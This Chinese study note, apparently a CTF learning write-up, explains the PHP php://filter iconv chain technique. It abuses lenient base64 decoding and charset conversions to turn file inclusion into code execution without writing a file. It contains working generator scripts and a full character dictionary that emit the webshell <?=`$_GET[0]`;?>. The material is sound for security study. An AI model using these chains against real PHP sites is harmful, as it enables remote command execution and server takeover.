php base64_decode宽松解析特性+iconv文件包含无落地利用
前言:php 文件包含无文件落地利用学习笔记
参考文章:https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
参考文章:https://tttang.com/archive/1395/
参考文章:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
文件包含无落地文件利用是在hxp CTF 2021中发现的解决方法,通过PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行
php base64_decode的宽松解析特性
php的base64解码操作有一个宽松解析特性,也就是说合法字符只有A-Za-z0-9\/\=\+
,其他字符会自动被忽略
php > var_dump(base64_decode("\xab\xcddGhpc19pc190ZXN0\xef"));
string(12) "this_is_test"
注:通过php的base64_decode宽松解析特性还可以用来解决之前的<?php exit;?>
问题,直接以base64_decode解码写入对应的base64编码的webshell数据即可解决
iconv转换
参考convert.iconv所支持的编码集:https://www.php.net/manual/en/mbstring.supported-encodings.php
本地机器可以通过iconv -l
来查看支持的编码集
这边可以看到通过convert.iconv.UTF8.CSISO2022KR将当前字符串的UTF-8编码集转换到CSISO2022KR编码集来打印结果的时候,前面会多一个.$)C
字符串
<?php
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));
注:利用convert.iconv.UTF8.CSISO2022KR转换每次都能多出一个.$)C
字符串来配凑各种可以利用的字符
获取'C'字符
那这边获取'C'字符就很容易了,通过配合base64_decode的宽松解析特性进行一次base64_decode就能把除了A-Za-z0-9\/\=\+
,其他字符会自动被忽略,然后再进行一次base64_encode就能恢复原来的字符串,结果如下所示
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));
获取'8'字符
$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));
获取'8C'字符串
这里有个点需要注意的就是,如果要获取'8C'的话,那么你在转换的过程中就需要反转顺序来,因为是如果要获取'8C'的话,先构造.$)C
的来获取'C',然后在获取'C'的基础上,再其有'C'的字符串前面继续转换多出.$)C
,对该.$)C
转换出'8'的字符串,所以最终的生成过程应该是如下所示
$url = "php://filter/";
// get char C
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode";
// restore
$url .= "|convert.base64-decode|convert.base64-encode|";
// get char 8
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// restore
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));
构造webshell
这边已经提供好了一个webshell的构造数组,如下所示
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"; // PD89YCRfR0VUWzBdYDs/Pg
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
// echo $final_payload;
var_dump(file_get_contents($final_payload));
如果在自己机器上测试的时候,发现并不能有如下的效果,那么可能的原因就是当前机器不支持下面中的部分字符集,在使用的时候就会有如下所示报错的情况
问题1
这里需要注意的是这边写入的base64字符串是PD89YCRfR0VUWzBdYDs7Pz4=
,可以发现生成了两个;
,疑问是为什么是两个;
呢?是作者打多了吗还是什么
实际上如果只使用了一个分号,则编码结果为PD89YCRfR0VUWzBdYDs/Pg==
,这里 7
可能相对于/
比较好找一些,也可能是exp作者没有fuzz或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终base64编码中的斜杠。
但是上面这个不痛不痒的问题也可以进行解决,后续在PHP_INCLUDE_TO_SHELL_CHAR_DICT项目中已经枚举出了/
的字符集
问题2
还有一个问题就是上面的代码中可以看到还使用了convert.iconv.UTF8.UTF7
操作,这个有什么用呢?
convert.iconv.UTF8.UTF7
的用处是将等号转换为字母,之所以使用这个的原因是exp作者遇到过有时候等号会让convert.base64-decode
过滤器解析失败的情况,可以使用iconv从UTF8转换到UTF7,会把字符串中的任何等号变成一些base64字符。
PHP_INCLUDE_TO_SHELL_CHAR_DICT
在这个师傅提供的github项目中已经对相关的数字和字母都已经完成了FUZZ的操作,项目地址:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
除了构造上述的<?=`$_GET[0]`;;?>
以外,还能构造自己想要的字符串来进行利用,比如这边自己构造一个<?=`$_GET[0]`;?>
这边加上分号和字母g的对应的字符串转换即可,如下两条语句
convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8'
测试代码如下所示
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs/Pg";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
// echo $final_payload;
var_dump(file_get_contents($final_payload));
结果如下图所示